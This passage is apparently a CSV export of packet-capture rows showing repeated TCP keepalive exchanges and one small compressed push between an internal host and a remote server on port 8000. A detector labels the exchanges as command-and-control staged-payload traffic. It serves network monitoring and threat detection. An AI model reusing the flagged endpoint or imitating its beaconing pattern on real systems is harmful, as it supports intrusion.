Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029b000400080063ffe0a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45056, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16382, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:43.794510,223,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348ace40004006a525c0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@..%....\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35534, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42277, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:44.810145,224,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029b001400080063ffd0a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45057, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16381, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:44.810167,225,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348acf40004006a524c0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@..$....\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35535, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42276, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:45.825817,226,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029b002400080063ffc0a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45058, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16380, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:45.825850,227,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348ad040004006a523c0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@..#....\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35536, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42275, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:46.841459,228,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029b003400080063ffb0a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45059, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16379, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:46.841493,229,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348ad140004006a522c0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@..\"\"....\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35537, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42274, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:47.841658,230,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029b004400080063ffa0a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45060, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16378, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:47.841681,231,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348ad240004006a521c0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@..!....\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35538, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42273, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:48.857272,232,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029b005400080063ff90a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45061, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16377, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:48.857311,233,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348ad340004006a520c0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@.. ....\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35539, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42272, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:49.872788,234,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029b006400080063ff80a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45062, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16376, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:49.872806,235,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348ad440004006a51fc0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35540, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42271, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:50.888465,236,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1686225020 Ack=614774839,bc24112907bbbc2411360d0c080045000029b007400080063ff70a98980bc0a3a789fa491f406481c07c24a4b83750102014698b000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45063, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16375, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225020, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 27019, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:06:50.888490,237,TCP 192.163.167.137:8000 -> 10.152.152.11:64073,192.163.167.137,10.152.152.11,8000,64073,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=614774839 Ack=1686225021,bc2411360d0cbc24112907bb0800450000348ad540004006a51ec0a3a7890a98980b1f40fa4924a4b8376481c07d8010003f0af700000101050a6481c07c6481c07d,\".$.6\n..$.)....E..4..@.@.......\n....@.I$..7d..}...?\n......\nd..|d..}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 35541, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42270, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64073, \"\"seq\"\": 614774839, \"\"ack\"\": 1686225021, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1686225020, 1686225021))]\"\"}}]\"\n2026-07-01 09:06:51.734151,238,TCP 10.152.152.11:64073 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64073,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1686225021 Ack=614774839,bc24112907bbbc2411360d0c08004500003db008400080063fe20a98980bc0a3a789fa491f406481c07d24a4b8375018201403cd00001100c0ff1100000001000000789ceb0300008f008f,............x........,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 45064, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16354, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64073, \"\"dport\"\": 8000, \"\"seq\"\": 1686225021, \"\"ack\"\": 614774839, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 973, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789ceb0300008f008f\"\"}}]\"\n2026-07-01 09:06:51.734177,239,TCP 192.163.167.137:8000 -> 